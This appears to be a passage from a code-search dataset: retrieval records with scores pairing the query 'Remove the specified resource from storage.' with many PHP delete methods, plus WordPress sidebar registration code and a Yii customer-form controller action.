register_sidebar(array(\n 'name' => __('Post and Page Sidebar Widget Area', 'twentytwelve'),\n 'id' => 'sidebar-1',\n 'description' => __('Appears on posts and pages except the optional Front Page template, which has its own widgets', 'twentytwelve'),\n 'before_widget' => '<aside id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</aside>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>',\n ));\n}", "title": "" }, { "docid": "2e9f8599a8fb91589cc3d0b6a9b749e8", "score": "0.6421368", "text": "function chandelier_elated_add_support_custom_sidebar() {\n add_theme_support('ChandelierSidebar');\n if (get_theme_support('ChandelierSidebar')) new ChandelierSidebar();\n }", "title": "" }, { "docid": "4f7d228cd969d7965eb3a6e93c198ff9", "score": "0.64201266", "text": "public function register_sidebars() {\n\t\t// Primary\n\t\tregister_sidebar(array(\n\t\t\t'name' => 'Primary',\n\t\t\t'id' => 'primary',\n\t\t\t'description' => 'Main widget-area aside content.',\n\t\t\t'class' => 'aside widgets',\n\t\t\t'before_widget' => '<section id=\"%1$s\" class=\"widget %2$s\">',\n\t\t\t'after_widget' => '</section>',\n\t\t\t'before_title' => '<h4 class=\"widget-title\">',\n\t\t\t'after_title' => '</h4>'\n\t\t));\n\n\t\t// Subsidiary\n\t\tregister_sidebar(array(\n\t\t\t'name' => 'Subsidiary',\n\t\t\t'id' => 'subsidiary',\n\t\t\t'description' => 'Footer widget-area content.',\n\t\t\t'class' => 'subsidiary widgets',\n\t\t\t'before_widget' => '<section id=\"%1$s\" class=\"widget %2$s\">',\n\t\t\t'after_widget' => '</section>',\n\t\t\t'before_title' => '<h4 class=\"widget-title\">',\n\t\t\t'after_title' => '</h4>'\n\t\t));\n\t}", "title": "" }, { "docid": "6215ca2019a811bbd85475fb260f26de", "score": "0.64067703", "text": "function dynamic_sidebar($index = 1)\n {\n }", "title": "" }, { "docid": "f0dd11b4123fd0f1183b549d07dc35d3", "score": "0.6404473", "text": "function iodd_widgets_init() {\n\tregister_sidebar( array(\n\t\t'name' => esc_html__( 'Sidebar', 'iodd' ),\n\t\t'id' => 'standard-sidebar',\n\t\t'description' => esc_html__( 'Add widgets here.', 'iodd' ),\n\t\t'before_widget' => '<section id=\"%1$s\" class=\"widget %2$s\">',\n\t\t'after_widget' => '</section>',\n\t\t'before_title' => '<h2 class=\"widget-title\">',\n\t\t'after_title' => '</h2>',\n\t) );\n}", "title": "" }, { "docid": "fabfd65fad435221e719a275e51cd827", "score": "0.6399661", "text": "function gphq_widgets_init() {\t\n\tregister_sidebar( array(\n\t\t'name' => 'Home Page Middle Sidebar',\n\t\t'id' => 'home-rss',\n\t\t'description' => 'Middle column of homepage above events',\n\t\t'before_widget' => '<li id=\"%1$s\" class=\"widget-container %2$s\">',\n\t\t'after_widget' => '</li>',\n\t\t'before_title' => '<h3 class=\"widget-title\">',\n\t\t'after_title' => '</h3>',\n\t) );\n\tregister_sidebar( array(\n\t\t'name' => 'Home Page Right Sidebar',\n\t\t'id' => 'homepage-widget-area',\n\t\t'description' => 'Main right column sidebar on homepage only',\n\t\t'before_widget' => '<li id=\"%1$s\" class=\"widget-container %2$s\">',\n\t\t'after_widget' => '</li>',\n\t\t'before_title' => '<h3 class=\"widget-title\">',\n\t\t'after_title' => '</h3>',\n\t) );\n\tregister_sidebar( array(\n\t\t'name' => 'Main Blog Sidebar',\n\t\t'id' => 'primary-widget-area',\n\t\t'description' => 'This widget area is for the sidebar on the blog only',\n\t\t'before_widget' => '<li id=\"%1$s\" class=\"widget-container %2$s\">',\n\t\t'after_widget' => '</li>',\n\t\t'before_title' => '<h3 class=\"widget-title\">',\n\t\t'after_title' => '</h3>',\n\t) );\n\tregister_sidebar( array(\n\t\t'name' => 'Footer Widget Area',\n\t\t'id' => 'first-footer-widget-area',\n\t\t'description' => 'Main footer area widget',\n\t\t'before_widget' => '<li id=\"%1$s\" class=\"widget-container %2$s\">',\n\t\t'after_widget' => '</li>',\n\t\t'before_title' => '<h3 class=\"widget-title\">',\n\t\t'after_title' => '</h3>',\n\t) );\n\tregister_sidebar( array(\n\t\t'name' => 'Secondary Widget Area',\n\t\t'id' => 'secondary-widget-area',\n\t\t'description' => 'The secondary widget area',\n\t\t'before_widget' => '<li id=\"%1$s\" class=\"widget-container %2$s\">',\n\t\t'after_widget' => '</li>',\n\t\t'before_title' => '<h3 class=\"widget-title\">',\n\t\t'after_title' => '</h3>',\n\t) );\n}", "title": "" }, { "docid": "e6ea3687cbb7d5c4e5219815d33f0ef4", "score": "0.63957703", "text": "function udesign_sidebar_bottom() {\r\n do_action('udesign_sidebar_bottom');\r\n}", "title": "" } ]
fba5cfefabb2b65932d6fdc28af220e4
Remove the specified resource from storage.
[ { "docid": "ff94beddffe92873d591362343893744", "score": "0.0", "text": "public function destroy($id)\n {\n Activity::where('id', $id)->delete(); \n return redirect('/admin/activity')->with('success', 'Activity deleted successfully!');\n }", "title": "" } ]
[ { "docid": "97c51cab4a2ebd0c97c646aca8926260", "score": "0.7629593", "text": "public function remove(ResourceInterface $resource);", "title": "" }, { "docid": "2b9d2c85f4c5a3ea90f0276710558864", "score": "0.73587126", "text": "public function removeResource(ResourceInterface $resource);", "title": "" }, { "docid": "f3145913d36c871004ac569d3ea3b842", "score": "0.68346053", "text": "public function remove()\n {\n /** Not needed in this storage */\n }", "title": "" }, { "docid": "4899cb69f473bc3ba1f4a04f43330487", "score": "0.67682105", "text": "public function delete($resource, $id);", "title": "" }, { "docid": "0339cc54ab464d5806494f53b7d84761", "score": "0.66848737", "text": "public function destroy(resource $resource)\n {\n //\n }", "title": "" }, { "docid": "d9f10892d48fdfd7debb2a97681f0912", "score": "0.6659381", "text": "public function destroy(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "52c1a7c30e906794e889381e09749736", "score": "0.63817745", "text": "public function delete(ResourceTypeInterface $resourceType);", "title": "" }, { "docid": "5a5e27d4baf0a8d48a3ac4cd3f04c3ed", "score": "0.6287119", "text": "function removeStorage($imgName,$storagePath){\n return Storage::delete($storagePath.\"/\".$imgName);\n }", "title": "" }, { "docid": "dbe827e5c99e979e1cb815eddd797184", "score": "0.6278533", "text": "public function destroy($id)\n {\n// Storage::delete('file.jpg');\n }", "title": "" }, { "docid": "78c3b7fd0c00f45a9e6a8a5f6ed56a7a", "score": "0.6199108", "text": "protected function removeResourceAndThumbnailsByResource(Resource $resource)\n {\n // delete from database\n $this->deleteThumbnailsByResource($resource);\n\n $resource->disableLifecycleEvents();\n $this->persistenceManager->remove($resource);\n }", "title": "" }, { "docid": "64fdd6f4d9385414cdb313161249d8ec", "score": "0.6190533", "text": "public function destroy(Resource $resource)\n {\n $resource->delete();\n return $this->showOne($resource);\n }", "title": "" }, { "docid": "d3de183319816e68e04b4ba5ab69a652", "score": "0.6125602", "text": "public function wipeStorage(): void;", "title": "" }, { "docid": "9a3fb17518efe8911c9caa31836bf58e", "score": "0.6083851", "text": "public function destroy($id)\n {\n //\n $storage = Storage::findOrFail($id);\n $storage->delete();\n return redirect()->route('admin.specificate.storage.index');\n }", "title": "" }, { "docid": "0d390882ed3b7497dc5a3ef5f578179f", "score": "0.6073157", "text": "function cleanup_resource($request_path, $created_resource)\n {\n $this->emit_detail(\"Cleaning up (DELETE) Resource {$request_path}/{$created_resource['id']}\");\n $this->assert_api_delete(\"{$request_path}/{$created_resource['id']}\");\n }", "title": "" }, { "docid": "5eb527f9c836748cdd39d6f19527a3bc", "score": "0.6071406", "text": "public function destroy(Resource $resource) {\n $resource->delete();\n return redirect()->route('admin.resources.index')->with('success', 'Resource deleted!');\n }", "title": "" }, { "docid": "2bc45e3efcdaeea24d7871374eee5196", "score": "0.606356", "text": "public function delete(): void\n {\n $absoluteFolder = __FILE_STORAGE_PATH__ . $this->file->folder;\n $absoluteFile = $absoluteFolder . '/' . $this->file->fileName;\n unlink($absoluteFile);\n }", "title": "" }, { "docid": "56ef86723a3ce311a8ed60a2c434aaba", "score": "0.60469806", "text": "private function destroyResource()\n {\n foreach ($this->events as $event) {\n $this->removeEvent($event);\n }\n\n if ($this->handle) {\n event_base_loopexit($this->handle, 1);\n event_base_free($this->handle);\n $this->handle = null;\n }\n }", "title": "" }, { "docid": "cf8f9645c05b25edb15fe5ac3b20e0d9", "score": "0.6045932", "text": "protected function delete($resource){\n $entity = $this->dataService->delete($resource);\n return $entity;\n }", "title": "" }, { "docid": "27f5fe23fb8978b59377436419e62306", "score": "0.6006565", "text": "public function destroy(Resource $resource)\n {\n $resource->delete();\n $resource = new ResourceResource($resource);\n return $this->success('Resource Deleted Successfully.', $resource);\n }", "title": "" }, { "docid": "ce2d9089bdc6105e259a8fc7435710e3", "score": "0.5969368", "text": "public function physicalRemove(){\n \n global $strings;\n\n if ($this->isOnS3()){\n if(!$this->getS3()->deleteObject($this->bucket, $this->path)){\n throw new Exception($strings['cantDeleteFileS3']);\n }\n }else{\n if (!unlink($this->getPhysicalPath())){\n throw new Exception(\"Can't delete: \" . $this->getPhysicalPath());\n }\n }\n\n }", "title": "" }, { "docid": "342298363719c61574c6860bd21aaa5c", "score": "0.5961146", "text": "public function remove($id)\n {\n $media = Media::findOrFail($id);\n // Storage::delete('storage/'.$media->filename);\n // return redirect('dashboard/media');\n $path = public_path().\"/storage/\".$media->filename;\n if(File::exists($path)){\n File::delete($path);\n } \n $media->delete();\n return redirect('dashboard/media');\n }", "title": "" }, { "docid": "256b2882eab04971d66d3cd5fe279069", "score": "0.5953901", "text": "function remove_by_resource_id($faistate_resource_id) {\n\t$db=htvcenter_get_db_connection();\n\t$rs = $db->Execute(\"delete from \".$this->_db_table.\" where fai_resource_id=\".$faistate_resource_id);\n}", "title": "" }, { "docid": "0f33fc82bbb0ee650523b55fee3fd916", "score": "0.59241194", "text": "public function deleteResource(\n Resource\\ResourceType $resourceType,\n Resource\\ResourceId $resourceId\n );", "title": "" }, { "docid": "36651b549fe41bd0664da956114a9c49", "score": "0.5921025", "text": "private function _deleteStorage($name) {\r\n\t\tunset($this->_storage[$name]);\r\n\t}", "title": "" }, { "docid": "52076dacbb2bf9f60da7deed7636119b", "score": "0.5918752", "text": "public function destroy($id)\n {\n $get=Slide::where('id',$id)->first();\n if($get->image!=null&&file_exists(\"/storage/$get->image\")){\n unlink('storage/'.$get->image);\n }\n $get->delete();\n return redirect()->route('listSlide');\n }", "title": "" }, { "docid": "f51dca1995fbb4ea013dc67c8631ad87", "score": "0.5914943", "text": "public function trash($resourceId)\n {\n $resource = $this->resourceContract->findOnlyTrashed($resourceId);\n Storage::disk('public')->delete('resources/' . $resource->document);\n\n $result = $this->resourceContract->destory($resource);\n\n $result ? Flash::success('Resource has been forcefully deleted.')\n : Flash::error('Resource could not be forcefully deleted.');\n\n return redirect()->route('admin.resources.index');\n }", "title": "" }, { "docid": "78f3fcb6a4df88ba8ea45797087a7e8d", "score": "0.59121597", "text": "public function remove($entity);", "title": "" }, { "docid": "78f3fcb6a4df88ba8ea45797087a7e8d", "score": "0.59121597", "text": "public function remove($entity);", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "a026f3ede198f3fb93bcad88386d926d", "score": "0.58884346", "text": "public function remove()\r\n\t{\r\n\t\tif ($this->id)\r\n\t\t{\r\n\t\t\t// TODO: delete\r\n\t\t\t$this->id = null;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "45d0719ac780944f2d2b2ab31d280549", "score": "0.58856535", "text": "public function remove($id, $filename = null);", "title": "" }, { "docid": "6431de611c573a19db0ba3678e104c9e", "score": "0.58781254", "text": "public function destroy($id)\n {\n //eliminar por id\n $usuario= Usuarios::findOrFail($id);\n\n if( Storage::delete('public/'.$usuario->Foto)){\n Usuarios::destroy($id);\n }\n \n return redirect('usuarios');\n\n }", "title": "" }, { "docid": "49d15f822dfd652237898762b1555ff1", "score": "0.5869462", "text": "public function onRemove()\n {\n try {\n $this->repository->getFilesystem()->delete($this->storageKey);\n } catch (FileNotFound $e) {\n if (!$this->isMissingFileIgnoredOnDelete()) {\n throw $e;\n }\n }\n }", "title": "" }, { "docid": "a5b45321d84c25ff616ce9aaffca6cb1", "score": "0.58543277", "text": "public function remove(FileInterface $media);", "title": "" }, { "docid": "6fa97a75d590a5487f6acd2521e91056", "score": "0.5812348", "text": "public function destroy($id)\n {\n $resource = $this->CourseSectionResource->find($id);\n try{\n if(!empty($resource->file)){\n deleteFileFromPrivateStorage($resource->file);\n }\n }\n catch(\\Exception $e){\n session()->flash('error_msg' , 'Couldn`t delete resource file from storage!');\n }\n $this->CourseSectionResource->delete($resource->id);\n return redirect()->back()->with('success_msg', 'Course section resource deleted successfully!');\n }", "title": "" }, { "docid": "e1628f8f31899e5e41eb946b26eb231a", "score": "0.58072346", "text": "public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n// if(Storage::exists('uploads/'.$product->avatar))\n// {\n// unlink('storage/uploads/'.$product->avatar);\n// }\n if(file_exists(public_path('uploads/'.$product->avatar)))\n {\n // dd(\"yes\");\n unlink(public_path('uploads/'.$product->avatar));\n }\n $product->delete();\n return redirect()->back();\n }", "title": "" }, { "docid": "33d10a0171eabd9b8fe683d93d2886aa", "score": "0.5801854", "text": "public function destroy() {\n $this->provider->trash( $this->getData() );\n }", "title": "" }, { "docid": "c76ba5203390ca9cf0624c810c367c90", "score": "0.5798788", "text": "public function deleteResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n\n try {\n // delete() returns boolean\n $wasDeleted = $client->delete(Path::fromString($resource->getSha1()));\n } catch (FileDoesNotExistsException $exception) {\n // In some rare cases the file might be missing in the storage but is still present in the db.\n // We need to process the corresponding exception to be able to also remove the resource from the db.\n $wasDeleted = true;\n }\n\n return $wasDeleted;\n }", "title": "" }, { "docid": "221de0333cec1309efddd33a75bcb64c", "score": "0.57902867", "text": "public function remove() {\r\n self::removeById($this->id);\r\n }", "title": "" }, { "docid": "58dd1e60cf8a295194560ca90fca3669", "score": "0.57566226", "text": "public function removeFromStorage($image)\n {\n Storage::disk('public')->delete($image);\n }", "title": "" }, { "docid": "c41a8c586f3cfc39935459b577d1b862", "score": "0.575272", "text": "public function removeUpload()\n {\n if (isset($this->temp)) {\n unlink($this->temp);\n }\n }", "title": "" }, { "docid": "750ee1857a66f841616cd130d5793980", "score": "0.57492644", "text": "public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }", "title": "" }, { "docid": "3efb4e7d01d53fcd85a29779b8a9e415", "score": "0.5737984", "text": "public function remove(): void\n\t{\n\t\t$this->start();\n\t\t$this->data = null;\n\t\t$this->meta = null;\n\t}", "title": "" }, { "docid": "1fa59c233c11ccd35321ef052c3bb1c2", "score": "0.5732476", "text": "public function destroy($id){\n $slider = Slider::findOrFail($id);\n $myfile = public_path('public/uploads/slider/'.$slider->image_name);\n if (file_exists($myfile)){\n unlink($myfile);\n $slider->delete();\n \\Session::flash('flash_msg','Slider has been successfully deleted!');\n return redirect('/admin/slider/'); \n }else{\n $slider->delete();\n \\Session::flash('flash_msg','Slider has been successfully deleted!');\n return redirect('/admin/slider/');\n }\n\n }", "title": "" }, { "docid": "ca7fb18e5d4c43e979f30bce3c8319df", "score": "0.57185286", "text": "public function clearStorage(): void\n {\n $this -> getStorage() -> clear();\n }", "title": "" }, { "docid": "366c0d7d78edfe804e2c2262e8291b78", "score": "0.57133925", "text": "public function remove(Stream $person): void;", "title": "" }, { "docid": "ed7546f0b845fa3c3353ea35a4a20a99", "score": "0.5709106", "text": "public function remove() {\n\t\t$this->read();\n\t\t$this->clearBlock();\n\t\t$this->save();\n\t}", "title": "" }, { "docid": "166e690e4f196682a2a814a6027b0db7", "score": "0.56951386", "text": "public function destroy($id)\n {\n $question=Question::find($id);\n //delete related file from storage\n $question->delete();\n return redirect()->route('questions.index');\n }", "title": "" }, { "docid": "b8c78cd19161cf7966e7567365e984a3", "score": "0.56849074", "text": "public function remove(): void;", "title": "" }, { "docid": "b8c78cd19161cf7966e7567365e984a3", "score": "0.56849074", "text": "public function remove(): void;", "title": "" }, { "docid": "bba07c958ce0344975d091ce9890e64a", "score": "0.5684331", "text": "public function delete($path);", "title": "" }, { "docid": "2c1af4221a72590e3cb0cd0ad912aa00", "score": "0.5676235", "text": "public function delete($key)\n {\n try{\n if ($this->fs->has($key)) {\n $this->fs->delete($key);\n }\n } catch (\\RuntimeException $ex) {\n throw StorageException::fromPrevious($ex);\n }\n }", "title": "" }, { "docid": "54cf17987ccf71e05fd4894be16724fe", "score": "0.56715244", "text": "public function destroy($id)\n {\n $result = Storage::destroy($id);\n\n if (!$result) return response(null, 404);\n\n return response(null, 200);\n }", "title": "" }, { "docid": "a1996902e0be9853d1ca44ee082f83c4", "score": "0.5652084", "text": "public function delete(StorageDeleteRequest $request)\n {\n $this->storages->remove($request->input('link'));\n\n return $this->respondJson([]);\n }", "title": "" }, { "docid": "4e1b157fd4962cd773a05c730cd6bf95", "score": "0.5639948", "text": "public function remove($payload);", "title": "" }, { "docid": "6a133bf2a539adcebeeef545cb23bdf7", "score": "0.56398225", "text": "public function removeEntity($entity);", "title": "" }, { "docid": "d8cf040d5d088baee69ea50d0218c37e", "score": "0.56377107", "text": "function delete_quiz_resource($id_quiz_resource) {\n if (!$this->ion_auth->logged_in()) {\n redirect();\n } else {\n $temp = $this->load->model_quiz->select_quiz_resource_by_id($id_quiz_resource)->row();\n if ($temp->ext != '') {\n unlink('./resource/' . $temp->file);\n $this->load->model_quiz->delete_quiz_resource($id_quiz_resource);\n } else {\n $this->load->model_quiz->delete_quiz_resource($id_quiz_resource);\n }\n $data1['resource_id'] = 0;\n $data2['summary_id'] = 0;\n $this->load->model_quiz->delete_quiz_resource_from_soal($id_quiz_resource, $data1);\n $this->load->model_quiz->delete_quiz_summary_from_soal($id_quiz_resource, $data2);\n }\n }", "title": "" }, { "docid": "6f829749f6f0cfbf567b9b89e34dcc1c", "score": "0.56330186", "text": "function external_resource_delete_delete($resource_id=null)\n\t{\t\t\n\t\t$this->load->model(\"Survey_resource_model\");\t\t\n\t\ttry{\n\t\t\tif(!is_numeric($resource_id)){\n\t\t\t\tthrow new Exception(\"MISSING_PARAM: resource_id\");\n\t\t\t}\n\n\t\t\t$this->Survey_resource_model->delete($resource_id);\n\t\t\t$this->set_response('DELETED', REST_Controller::HTTP_OK);\t\t\t\n\t\t}\n\t\tcatch(Exception $e){\n\t\t\t$this->set_response($e->getMessage(), REST_Controller::HTTP_BAD_REQUEST);\n\t\t}\n\t}", "title": "" }, { "docid": "e56ffdb12b7e8ce9ce9b709dd82f37f7", "score": "0.56325144", "text": "public function removeById($id);", "title": "" }, { "docid": "e56ffdb12b7e8ce9ce9b709dd82f37f7", "score": "0.56325144", "text": "public function removeById($id);", "title": "" }, { "docid": "23aa98c0e45a4d5bc13c5c73f9bd3dde", "score": "0.56284964", "text": "public function destroy($id)\n {\n $getpost = Post::where('slug', '=',$id)->first();\n $filename = $getpost->thumbnail;\n $filename = public_path('uploads/photos'. $filename);\n if($getpost->delete()){\n if (file_exists($filename)) {\n @unlink($filename);\n }\n }\n\n \n}", "title": "" }, { "docid": "ce4dd2b67d8a9a32540569f994a6989e", "score": "0.562772", "text": "public function destroy(Supplier $supplier)\n {\n $remove = Supplier::find($supplier->id);\n $photo = $supplier->photo;\n if($photo){\n unlink($photo);\n }\n $remove->delete();\n }", "title": "" }, { "docid": "83296d43845200428d3f972a111c72f8", "score": "0.5608048", "text": "public function remove($id)\n {\n $this->persistence->remove($id);\n }", "title": "" }, { "docid": "3d22d714e6088f6711137bbeb6db1bbb", "score": "0.5600981", "text": "public function remove($path){\n return unlink($path);\n }", "title": "" }, { "docid": "27c4016299257e94c3026a2ba2ba5c83", "score": "0.55814904", "text": "public function destroy($id)\n {\n $slider = Slider::findOrFail($id);\n /*\n * unlink('backend/Images/'.$slider->image);\n *\n * the code is delete the image but we need image don't deltete it so for that reason we will\n * make comment to this code\n */\n $slider->delete();\n return redirect()->back();\n }", "title": "" }, { "docid": "97914eb78d7cf648246f9bcd6ac69124", "score": "0.5573565", "text": "public function destroy($id)\n {\n /*\n\n = R::load( '', $id );\n R::trash( );*/\n }", "title": "" }, { "docid": "2866af9241b67fd5770b87451aa83579", "score": "0.55732435", "text": "public function delete(string $path): self;", "title": "" }, { "docid": "7c943bc0e1841b8090151d8b0b8ca4ac", "score": "0.5568121", "text": "function remove(){\n Resource::remove($_SESSION[\"object_id\"]);\n\n DB::db_query(\"delete_collection\", \"DELETE FROM resource WHERE id='\".$_SESSION[\"object_id\"].\"'\");\n if(DB::db_check_result(\"delete_collection\") > 0){\n include($GLOBALS[\"draw_includes_path\"].\"/Resource/.BookDeleted.html\");\n }\n }", "title": "" }, { "docid": "bd1f8717cf8c32b58c71fe82e627e4e1", "score": "0.55641353", "text": "public function my_delete() {\n Storage::delete($this->path);\n \\Log::info('Deleted file: ' . $this->path);\n $this->delete();\n }", "title": "" }, { "docid": "c69a6aec9441a09ecb4034c5f58d9e56", "score": "0.55601335", "text": "public function destroy($id)\n {\n $post=Post::find($id);\n\n if(File::exists('storage/'.$post->image)){\n File::delete('storage/'.$post->image);\n }\n\n $post->tags()->detach();\n $post->delete();\n return redirect('/admin/posts');\n }", "title": "" }, { "docid": "b87ec107871ee33340d2fa1536c6d83e", "score": "0.55535823", "text": "public function destroy(Request $request)\n {\n $path = $request->input('path');\n $path = preg_replace('|^https?://[^\\/]+/storage/|', '', $path);\n Storage::disk('public')->delete($path);\n return response('ok', 204);\n }", "title": "" }, { "docid": "1445f22d5bc412cd6a2e4068e0188f31", "score": "0.5553502", "text": "public function destroy($id)\n {\n $data = User::find($id);\n if ($data->image != \"default.PNG\" && $data->image != \"\" ){ \n $fileName = $data->image;\n Storage::delete($fileName);\n }\n $data->delete();\n return redirect()->route('user.index');\n }", "title": "" }, { "docid": "9306b600c172932b3726caa50eab111c", "score": "0.55530834", "text": "public function destroy($id)\n {\n $file = MediaFiles::find($id);\n /*$mediaFiles->deleted = true;\n $mediaFiles->save();*/ \n $file->delete();\n }", "title": "" }, { "docid": "25fb474df202e3c8494a2eb910e15a59", "score": "0.55449986", "text": "public function deleteResource(){\n if(parent::delete()){\n return \"ok\";\n }\n return \"error\";\n }", "title": "" }, { "docid": "39f3b4981da393b14f808c0c0b6ef46c", "score": "0.55448544", "text": "public function delete($path) {\n try {\n $status = $this->_s3->deleteObject($this->_bucket, $this->_getObjectName($path));\n } catch(S3Exception $e) {\n $this->_log($e->getMessage());\n throw new Scalar_Storage_Exception('Unable to delete file.');\n }\n }", "title": "" }, { "docid": "bcab9946ef86c53d040c2a39fa7ecb57", "score": "0.55423814", "text": "public function remove($id)\n {\n if ($this->fileSystem->fileExists($id)) {\n $this->fileSystem->delete($id);\n }\n }", "title": "" }, { "docid": "619b554e580350c34f6536df94d8d29f", "score": "0.55413246", "text": "function remove_resource($resource_id) {\n if (empty($resource_id)) return FALSE;\n\t $this->db->trans_begin();\n\n\t\t$this->db->where('resource_id',$resource_id);\n\t\t$this->db->delete($this->tables['resources']);\n\n\t\t$this->db->where('resource_id',$resource_id);\n\t\t$this->db->delete($this->tables['grants']);\n\n\t\tif ($this->db->trans_status() === FALSE)\n\t {\n\t\t\t$this->db->trans_rollback();\n\t\t\treturn FALSE;\n\t }\n\n\t $this->db->trans_commit();\n\t return TRUE;\n }", "title": "" }, { "docid": "426f594c80545265eb0a48c145c39378", "score": "0.5540242", "text": "public function destroy($id)\n {\n $get=Blog::where('id',$id)->first();\n unlink('storage/'.$get->thumbnail);\n Blog::where('id',$id)->delete();\n return redirect()->route('listBlog');\n }", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "b5b688091a31c75ff8615389051972dc", "score": "0.5539336", "text": "public function delete()\n {\n $this->removeImage();\n parent::delete();\n }", "title": "" }, { "docid": "4697a00d553d37cc8d8db652c56c76b2", "score": "0.5534565", "text": "public function remove($id)\n {\n $image = $this->image->find($id);\n\n $full_path = public_path('/images/product/'.$image->imagePath);\n\n File::delete($full_path);\n\n $image->delete();\n return redirect()->back();\n }", "title": "" }, { "docid": "2cce19e05c22aab21227d7f37af1fd4e", "score": "0.55311805", "text": "public function destroy($id)\n {\n $data=Slider::findOrFail($id);\n $img_path='public/uploads/sliders/'.$data['slider_image'];\n if($data['slider_image']!=null and file_exists($img_path)){\n unlink($img_path);\n }\n $data->delete();\n return redirect('slider')->with('msg_success','Slide Successfully Deleted!');\n }", "title": "" }, { "docid": "c63d38df163184005e90c31c619d88b8", "score": "0.5529311", "text": "public function delete()\n {\n return $this->storage->disk()->delete($this->path);\n }", "title": "" }, { "docid": "f75f489326b0b6ab4bdfe2ad0a2a4cb3", "score": "0.5527862", "text": "public function delete(): void\n {\n $this->api->delete($this);\n $this->api->getPool()->remove($this->_getPoolKeys());\n }", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" } ]
1e00f768be56fbb7363d8c6f7abf3e37
Displays create form for customer.
[ { "docid": "b44fe251f8fc8f0bfeaf499e892124af", "score": "0.0", "text": "public function actionEdit($id = null)\n {\n if ($id)\n {\n $customer = Customer::findOne($id);\n $customer_quote = CustomerQuote::find()->where(['id' => $customer->quote_id])->with('documents')->one();\n $customer_general = CustomerGeneral::findOne($customer->general_id);\n\n $customer_general->start_date = (new \\DateTime($customer_general->start_date))->format('d.m.Y');\n }\n else\n {\n $customer = new Customer();\n $customer_quote = new CustomerQuote();\n $customer_general = new CustomerGeneral();\n\n }\n\n $customer_general_info = Yii::$app->request->post(\"CustomerGeneral\");\n $customer_quote_info = Yii::$app->request->post(\"CustomerQuote\");\n $customer_info = Yii::$app->request->post(\"Customer\");\n\n if ($customer_general_info && $customer_quote_info && $customer_info)\n {\n $customer_general->load($customer_general_info, '');\n $customer_general->start_date = (new \\DateTime($customer_general->start_date))->format('Y-m-d H:i:s');\n if ($customer_general->save())\n {\n $customer_quote->load($customer_quote_info, '');\n if ($customer_quote->save())\n {\n $customer->load($customer_info, '');\n $customer->quote_id = $customer_quote->id;\n $customer->general_id = $customer_general->id;\n\n if ($customer->save())\n {\n $documents = Yii::$app->request->post(\"QuoteDocuments\");\n\n if ($documents)\n {\n foreach ($documents as $document)\n {\n $quote_document = new QuoteDocuments();\n\n $quote_document->document_id = $document['id'];\n $quote_document->quote_id = $customer_quote->id;\n\n $quote_document->save();\n }\n }\n\n $documents = Yii::$app->request->post(\"GeneralDocuments\");\n\n if ($documents)\n {\n foreach ($documents as $document)\n {\n $general_document = new GeneralDocuments();\n\n $general_document->document_id = $document['id'];\n $general_document->general_id = $customer_general->id;\n\n $general_document->save();\n }\n\n }\n\n Yii::$app->session->setFlash('success', 'Customer saved succesfully');\n return $this->redirect(Url::to(['customer/list']));\n }\n else\n {\n $customer_quote->delete();\n $customer_general->delete();\n }\n }\n else\n {\n $customer_general->delete();\n }\n }\n Yii::$app->session->setFlash('error', 'Error, customer was not saved');\n }\n\n $customer_system_types = CustomerSystemType::find()->all();\n $customer_statuses = CustomerStatus::find()->all();\n\n $quote_statuses = QuoteStatus::find()->all();\n\n $general_maintenance_contracts = GeneralMaintenanceContract::find()->all();\n $general_signalling_types = GeneralSignallingType::find()->all();\n $general_other_labels = GeneralOtherLabel::find()->all();\n $general_misc1_labels = GeneralMisc1Label::find()->all();\n $general_misc2_labels = GeneralMisc2Label::find()->all();\n\n return $this->render('form', [\n 'customer' => $customer,\n 'customer_system_types' => $customer_system_types,\n 'customer_statuses' => $customer_statuses,\n\n 'customer_quote' => $customer_quote,\n 'quote_statuses' => 